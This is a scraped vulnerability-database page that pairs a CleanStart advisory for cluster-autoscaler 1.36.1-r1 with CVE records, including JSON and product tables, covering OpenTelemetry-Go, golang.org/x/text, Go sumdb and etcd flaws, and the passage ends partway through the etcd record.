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Vulnerability from cleanstart
Published
2026-09-01 11:17
Modified
2026-09-02 06:38
Summary
Security fixes in cluster-autoscaler 1.36.1-r1
Details
Package cluster-autoscaler version 1.36.1-r1 fixes 7 vulnerabilities: ghsa-hrxh-6v49-42gf, CVE-2026-56864, CVE-2026-56865, CVE-2026-39883, CVE-2026-56852...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "cluster-autoscaler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.36.1-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.36.1-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package cluster-autoscaler version 1.36.1-r1 fixes 7 vulnerabilities: ghsa-hrxh-6v49-42gf, CVE-2026-56864, CVE-2026-56865, CVE-2026-39883, CVE-2026-56852...",
"id": "CLEANSTART-2026-DB39840",
"modified": "2026-09-02T06:38:19Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubernetes/autoscaler"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in cluster-autoscaler 1.36.1-r1",
"upstream": [
"ghsa-hrxh-6v49-42gf",
"CVE-2026-56864",
"CVE-2026-56865",
"CVE-2026-39883",
"CVE-2026-56852",
"CVE-2026-73500",
"ghsa-gcjh-h69q-9w9g"
]
}
CVE-2026-39883 (GCVE-0-2026-39883)
Vulnerability from cvelistv5 – Published: 2026-04-08 20:26 – Updated: 2026-08-17 12:04
VLAI
EPSS
VEX
Title
OpenTelemetry-Go has an incomplete fix for CVE-2026-24051: BSD kenv command not using absolute path enables PATH hijacking
Summary
OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.15.0 to 1.42.0, the fix for CVE-2026-24051 changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. This vulnerability is fixed in 1.43.0.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-10 20:52 UTC
CWE
- CWE-426 - Untrusted Search Path
Assigner
References
10 references
| URL | Tags |
|---|---|
| https://github.com/open-telemetry/opentelemetry-g… | x_refsource_CONFIRM |
| http://github.com/open-telemetry/opentelemetry-go… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-39883 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456718 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:54286 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:54274 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37387 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:26257 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:26254 | vendor-advisoryx_refsource_REDHAT |
Impacted products
32 products
| Vendor | Product | Version | |
|---|---|---|---|
| open-telemetry | opentelemetry-go |
Affected:
>= 1.15.0, < 1.43.0
|
|
| Red Hat | multicluster engine for Kubernetes 2.8 |
Unaffected:
1781539691 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.8::el8 |
|
| Red Hat | multicluster engine for Kubernetes 2.8 |
Unaffected:
1781539725 , < *
(rpm)
cpe:/a:redhat:multicluster_engine:2.8::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932114 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782931768 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932104 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783536000 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783535989 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783536515 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932521 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783018461 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783018421 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932812 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783537001 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932919 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783537586 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782932969 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933015 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933042 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783537392 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933235 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933251 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783537955 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933417 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783537742 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782933602 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1783019377 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782934054 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782934036 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat Openshift Data Foundation 4.22 |
Unaffected:
1782934284 , < *
(rpm)
cpe:/a:redhat:openshift_data_foundation:4.22::el9 |
|
| Red Hat | Red Hat OpenShift Workload Availability 0.3 |
Unaffected:
1785203474 , < *
(rpm)
cpe:/a:redhat:workload_availability_sbr:0.3::el9 |
|
| Red Hat | Red Hat OpenShift Workload Availability 0.8 |
Unaffected:
1785203079 , < *
(rpm)
cpe:/a:redhat:workload_availability_far:0.8::el9 |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-39883",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-10T20:52:34.310842Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-10T20:52:54.819Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el8"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/assisted-service-8-rhel8",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781539691",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"packageName": "multicluster-engine/assisted-service-9-rhel9",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1781539725",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/cephcsi-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932114",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/cephcsi-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782931768",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/devicefinder-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932104",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/mcg-core-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783536000",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/mcg-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783535989",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-client-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783536515",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-client-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932521",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-metrics-exporter-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783018461",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783018421",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-blackbox-exporter-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932812",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-cli-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783537001",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-cloudnative-pg-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932919",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783537586",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-cosi-sidecar-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782932969",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-csi-addons-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782933015",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-csi-addons-sidecar-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782933042",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-drbd-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783537392",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-external-snapshotter-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782933235",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-external-snapshotter-sidecar-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782933251",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-multicluster-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783537955",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-multicluster-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782933417",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-must-gather-rhel9",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783537742",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.22::el9"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-rhel9-operator",
"product": "Red Hat Openshift Data Foundation 4.22",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
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CVE-2026-56852 (GCVE-0-2026-56852)
Vulnerability from cvelistv5 – Published: 2026-07-21 19:18 – Updated: 2026-08-10 22:57
VLAI
EPSS
VEX
Title
Infinite loop on invalid input in golang.org/x/text
Summary
A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-23 13:26 UTC
CWE
- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
Assigner
References
3 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| golang.org/x/text | golang.org/x/text/unicode/norm |
Affected:
0 , < 0.39.0
(semver)
|
Credits
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CVE-2026-56864 (GCVE-0-2026-56864)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:16
VLAI
EPSS
VEX
Title
Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb
Summary
A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 16:16 UTC
CWE
- CWE-347 - Improper Verification of Cryptographic Signature
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb |
Affected:
0 , < 0.40.0
(semver)
|
Credits
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CVE-2026-56865 (GCVE-0-2026-56865)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:34
VLAI
EPSS
VEX
Title
Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog
Summary
A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ && go mod tidy
Severity
8.4 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-14 15:33 UTC
CWE
- CWE-347 - Improper Verification of Cryptographic Signature
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb/tlog |
Affected:
0 , < 0.40.0
(semver)
|
Credits
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"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56865",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T15:33:28.143873Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:34:17.235Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb/tlog",
"product": "golang.org/x/mod/sumdb/tlog",
"programRoutines": [
{
"name": "tileHashReader.ReadHashes"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Filippo Valsorda (Geomys)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T21:58:53.475Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/issue/80744"
},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/814960"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6179"
}
],
"title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2026-56865",
"datePublished": "2026-08-13T21:58:53.475Z",
"dateReserved": "2026-06-23T15:10:49.354Z",
"dateUpdated": "2026-08-14T15:34:17.235Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-73500 (GCVE-0-2026-73500)
Vulnerability from cvelistv5 – Published: 2026-08-12 21:22 – Updated: 2026-08-13 17:53
VLAI
EPSS
VEX
Title
etcd: `tlsListener.acceptLoop` spawns unbounded handshake goroutines with no deadline
Summary
etcd is a distributed key-value store for the data of a distributed system. Prior to versions 3.5.33, 3.6.14, and 3.7.1, a network attacker who can reach an etcd TLS listener can open many TCP connections and never send a ClientHello. In client/pkg/transport/listener_tls.go, each connection handled by tlsListener.acceptLoop spawns a goroutine that blocks indefinitely inside tls.Conn.Handshake() and remains tracked in the pending map. Unbounded goroutine and map growth can exhaust memory in the etcd process, causing loss of availability for the cluster and, when etcd backs Kubernetes, the control plane. This issue is fixed in versions 3.5.33, 3.6.14, and 3.7.1.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-13 17:49 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
9 references
| URL | Tags |
|---|---|
| https://github.com/etcd-io/etcd/security/advisori… | x_refsource_CONFIRM |
| https://github.com/etcd-io/etcd/pull/22130 | x_refsource_MISC |
| https://github.com/etcd-io/etcd/commit/2e07efce97… | x_refsource_MISC |
| https://github.com/etcd-io/etcd/commit/89ff6d5079… | x_refsource_MISC |
| https://github.com/etcd-io/etcd/commit/8e4dd0679a… | x_refsource_MISC |
| https://github.com/etcd-io/etcd/commit/f73cba7d92… | x_refsource_MISC |
| https://github.com/etcd-io/etcd/releases/tag/v3.5.33 | x_refsource_MISC |
| https://github.com/etcd-io/etcd/releases/tag/v3.6.14 | x_refsource_MISC |
| https://github.com/etcd-io/etcd/releases/tag/v3.7.1 | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-73500",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-13T17:49:14.567913Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-13T17:53:16.094Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "etcd",
"vendor": "etcd-io",
"versions": [
{
"status": "affected",
"version": "\u003c 3.5.33"
},
{
"status": "affected",
"version": "\u003e= 3.6.0, \u003c 3.6.14"
},
{
"status": "affected",
"version": "\u003e= 3.7.0-alpha.0, \u003c 3.7.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "etcd is a distributed key-value store for the data of a distributed system. Prior to versions 3.5.33, 3.6.14, and 3.7.1, a network attacker who can reach an etcd TLS listener can open many TCP connections and never send a ClientHello. In client/pkg/transport/listener_tls.go, each connection handled by tlsListener.acceptLoop spawns a goroutine that blocks indefinitely inside tls.Conn.Handshake() and remains tracked in the pending map. Unbounded goroutine and map growth can exhaust memory in the etcd process, causing loss of availability for the cluster and, when etcd backs Kubernetes, the control plane. This issue is fixed in versions 3.5.33, 3.6.14, and 3.7.1."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
